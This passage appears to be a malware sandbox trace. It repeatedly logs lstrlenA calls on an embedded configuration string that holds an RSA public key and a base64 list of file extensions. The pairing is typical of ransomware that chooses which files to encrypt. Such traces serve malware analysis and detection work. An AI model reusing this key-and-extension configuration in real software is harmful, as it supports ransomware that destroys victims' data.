J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCA